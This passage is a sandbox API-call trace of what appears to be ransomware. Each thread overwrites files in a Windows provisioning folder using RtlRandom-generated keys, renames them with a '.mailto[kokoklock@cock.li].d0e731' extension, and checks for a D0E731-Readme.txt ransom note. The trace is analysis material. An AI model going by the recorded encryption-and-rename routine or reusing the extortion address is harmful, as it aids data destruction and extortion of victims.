lpNumberOfBytesRead=0x2f0bfb2c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f0bfb2c*=0x2d0, lpOverlapped=0x0) returned 1 [0087.253] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0bfaf4 | out: lpNewFilePointer=0x0) returned 1 [0087.253] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2f0bfb28, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f0bfb28*=0x2d0, lpOverlapped=0x0) returned 1 [0087.253] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc138 [0087.253] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.253] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc138*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f0bfb24, lpOverlapped=0x0 | out: lpBuffer=0x55dc138*, lpNumberOfBytesWritten=0x2f0bfb24*=0x20, lpOverlapped=0x0) returned 1 [0087.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc138) returned 1 [0087.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.253] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc610*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f0bfb50, lpOverlapped=0x0 | out: lpBuffer=0x55dc610*, lpNumberOfBytesWritten=0x2f0bfb50*=0x8, lpOverlapped=0x0) returned 1 [0087.253] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f0bfb68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f0bfb50, lpOverlapped=0x0 | out: lpBuffer=0x2f0bfb68*, lpNumberOfBytesWritten=0x2f0bfb50*=0x4, lpOverlapped=0x0) returned 1 [0087.254] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f0bfb50, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f0bfb50*=0x4, lpOverlapped=0x0) returned 1 [0087.254] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f0bfb50, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f0bfb50*=0x6c, lpOverlapped=0x0) returned 1 [0087.254] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f0bfb50, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f0bfb50*=0x20, lpOverlapped=0x0) returned 1 [0087.254] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f0bfb50, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f0bfb50*=0x4, lpOverlapped=0x0) returned 1 [0087.254] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.254] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.254] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc610) returned 1 [0087.254] CloseHandle (hObject=0x3d0) returned 1 [0087.254] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x194) returned 0x33fc9c8 [0087.254] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" [0087.254] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.254] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.255] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.255] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.255] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.255] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.255] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.255] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.255] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.255] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.256] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347beb0) returned 1 [0087.256] RtlExitUserThread (Status=0x1) Thread: id = 1353 os_tid = 0x1118 [0087.257] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.257] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.257] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.257] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f13fc80 | out: lpFileSize=0x2f13fc80*=730) returned 1 [0087.257] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.257] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f13fc54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f13fc50, lpOverlapped=0x0 | out: lpBuffer=0x2f13fc54*, lpNumberOfBytesRead=0x2f13fc50*=0x4, lpOverlapped=0x0) returned 1 [0087.259] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.259] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc318 [0087.259] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.259] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc610 [0087.259] NtQuerySystemTime (in: CurrentTime=0x2f13fc2c | out: CurrentTime=0x2f13fc2c*=132121176451485820) returned 0x0 [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x86219918 [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x986109a1 [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x735bfa75 [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x8bef499d [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x85565440 [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x665bf92b [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x8b2d84e2 [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x8eb254c4 [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x268264f7 [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0xa8b953e3 [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x6e6ce310 [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x73465a5e [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0xd1751d1a [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x1bbfa6f [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0xa1961fad [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x7b796b5d [0087.259] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0xb7f9d55b [0087.260] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x4c224beb [0087.260] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x17e33184 [0087.260] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0xc702009 [0087.260] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0xe8d4883b [0087.260] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0xa2184d57 [0087.260] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x8778f691 [0087.260] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x3b9a018c [0087.260] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0xa2dd938a [0087.260] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0xe23472f6 [0087.260] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x71526af7 [0087.260] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0xf4a9b84 [0087.260] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x193f103d [0087.260] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x723be7f4 [0087.260] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0xd233d5bd [0087.260] RtlRandom (in: Seed=0x2f13fc38 | out: Seed=0x2f13fc38) returned 0x28be8a60 [0087.303] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2da, lpNumberOfBytesRead=0x2f13fc2c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f13fc2c*=0x2da, lpOverlapped=0x0) returned 1 [0087.303] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f13fbf4 | out: lpNewFilePointer=0x0) returned 1 [0087.303] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2da, lpNumberOfBytesWritten=0x2f13fc28, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f13fc28*=0x2da, lpOverlapped=0x0) returned 1 [0087.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc160 [0087.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.303] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f13fc24, lpOverlapped=0x0 | out: lpBuffer=0x55dc160*, lpNumberOfBytesWritten=0x2f13fc24*=0x20, lpOverlapped=0x0) returned 1 [0087.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc160) returned 1 [0087.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.303] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc138*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f13fc50, lpOverlapped=0x0 | out: lpBuffer=0x55dc138*, lpNumberOfBytesWritten=0x2f13fc50*=0x8, lpOverlapped=0x0) returned 1 [0087.304] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f13fc68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f13fc50, lpOverlapped=0x0 | out: lpBuffer=0x2f13fc68*, lpNumberOfBytesWritten=0x2f13fc50*=0x4, lpOverlapped=0x0) returned 1 [0087.304] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f13fc50, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f13fc50*=0x4, lpOverlapped=0x0) returned 1 [0087.304] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f13fc50, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f13fc50*=0x6c, lpOverlapped=0x0) returned 1 [0087.304] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f13fc50, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f13fc50*=0x20, lpOverlapped=0x0) returned 1 [0087.304] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f13fc50, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f13fc50*=0x4, lpOverlapped=0x0) returned 1 [0087.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc138) returned 1 [0087.304] CloseHandle (hObject=0x3d0) returned 1 [0087.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x194) returned 0x33fc9c8 [0087.304] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" [0087.304] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.305] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.306] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.306] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.306] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.306] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.306] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.306] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.306] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.306] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.306] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c5b8) returned 1 [0087.306] RtlExitUserThread (Status=0x1) Thread: id = 1354 os_tid = 0x111c [0087.259] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml")) returned 0x20 [0087.307] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.308] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.308] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f1bfe38 | out: lpFileSize=0x2f1bfe38*=735) returned 1 [0087.308] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.308] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f1bfe0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f1bfe08, lpOverlapped=0x0 | out: lpBuffer=0x2f1bfe0c*, lpNumberOfBytesRead=0x2f1bfe08*=0x4, lpOverlapped=0x0) returned 1 [0087.309] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc318 [0087.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc138 [0087.309] NtQuerySystemTime (in: CurrentTime=0x2f1bfde4 | out: CurrentTime=0x2f1bfde4*=132121176451963475) returned 0x0 [0087.309] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xacadef40 [0087.310] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xfbceea5d [0087.310] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0x28b1a0 [0087.310] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xb2e5cc8d [0087.310] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0x1fa67eaf [0087.310] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xc4983079 [0087.310] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xd392ab30 [0087.310] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0x7f9a1019 [0087.310] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xaac96a57 [0087.310] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xfe550482 [0087.310] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0x4eef256e [0087.310] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0x2ed73710 [0087.310] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xa8e89ace [0087.310] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xa6b56c87 [0087.310] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xd03b7351 [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xcfcc364a [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0x508c75d1 [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0x6656dfb5 [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0x284f68bc [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0x89fd4d8d [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | 